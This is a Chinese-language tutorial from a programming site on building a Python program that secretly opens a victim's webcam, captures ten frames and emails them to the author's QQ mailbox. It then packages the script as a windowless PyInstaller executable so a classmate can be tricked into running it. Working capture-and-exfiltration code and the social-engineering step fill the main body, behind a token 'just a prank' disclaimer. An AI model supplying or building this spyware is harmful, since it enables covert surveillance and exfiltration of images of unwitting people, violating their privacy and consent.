用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)
前言:
如何悄悄的打开朋友的摄像头,看看她最近过的怎么样,嘿嘿!这次让我带你们来实现这个功能。
注: 这个程序仅限在朋友之间开玩笑,别去搞什么违法的事情哦。
代码
发送邮件
使用python内置的email模块即可完成。导入相应的代码封装为一个send函数,顺便导入需要导入的包
注: 下面的代码有三处要修改的地方,两处写的qq邮箱地址,还有一处写的qq邮箱授权码,不知道qq邮箱授权码的可以去百度一下
import smtplib from email.mime.multipart import MIMEMultipart from email.mime.text import MIMEText from email.mime.image import MIMEImage import cv2 import os def send(img): sender = '写你的qq邮箱地址' receivers = '写你的qq邮箱地址' message = MIMEMultipart('related') subject = '终于能发图片了' message['Subject'] = subject message['From'] = sender message['To'] = receivers content = MIMEText('<html><body><img src="cid:imageid" alt="imageid"></body></html>', 'html', 'utf-8') message.attach(content) file = open(img, "rb") img_data = file.read() file.close() img = MIMEImage(img_data) img.add_header('Content-ID', 'imageid') message.attach(img) try: server = smtplib.SMTP_SSL("smtp.qq.com", 465) server.login(sender, '写授权码') server.sendmail(sender, receivers, message.as_string()) server.quit() except smtplib.SMTPException as e: print(e)
打开摄像头并发送图片
我们使用opencv打开笔记本内置的摄像头,不多说上代码
cap = cv2.VideoCapture(0) for item in range(10): cat, frame = cap.read() cv2.imwrite('1.png', frame) send('1.png') os.remove('1.png')
使用pyinstaller将程序打包
好不容易写好了代码,结果同学那里没有运行环境岂不是很沮丧。那我们就嘿嘿嘿。 把它直接搞成一个exe文件,照片还不是手到擒来。
我们使用pyinstaller来打包,没有下载的可以先pip安装
pip install pyinstaller -i https://pypi.douban.com/simple --user
之后我们打开cmd,cd到你的代码所在的文件,输入一下指令。
Pyinstaller -F -w setup.py
注: setup.py 是你的文件名。
然后等一会,等运行完了之后你就会发现在你的代码所在的文件夹里多了一个dist的文件夹,exe文件就在那里。
下面就是最关键的一步了!
忽悠同学
找个同学忽悠她一下
到此这篇关于用python打开摄像头并把图像传回qq邮箱(Pyinstaller打包)的文章就介绍到这了,更多相关Python打开摄像头并保存内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!
- 如何利用pyinstaller打包Python程序为exe可执行文件
- python3.9实现pyinstaller打包python文件成exe
- python 利用Pyinstaller打包Web项目
- Python打包工具PyInstaller的安装与pycharm配置支持PyInstaller详细方法
- Python中用pyinstaller打包时的图标问题及解决方法
- 详解pyinstaller selenium python3 chrome打包问题
- Python程序打包工具py2exe和PyInstaller详解
- python-pyinstaller、打包后获取路径的实例
- Python打包方法Pyinstaller的使用
- 教你使用pyinstaller打包Python教程
相关文章
Python连接Mssql基础教程之Python库pymssql
这篇文章主要给大家介绍了关于Python连接Mssql基础教程之Python库pymssql的相关资料,文中分别介绍了连接数据库、游标使用注意事项、游标返回行为字典变量、使用with语句(上下文管理器)以及调用存储过程等的实现,需要的朋友可以参考下2018-09-09Pytorch 如何加速Dataloader提升数据读取速度
这篇文章主要介绍了Pytorch 加速Dataloader提升数据读取速度的操作,具有很好的参考价值,希望对大家有所帮助。如有错误或未考虑完全的地方,望不吝赐教2021-05-05python数据可视化使用pyfinance分析证券收益示例详解
这篇文章主要为大家介绍了python数据可视化使用pyfinance分析证券收益的示例详解及pyfinance中returns模块的应用,有需要的朋友可以借鉴参考下,希望能够有所帮助2021-11-11
最新评论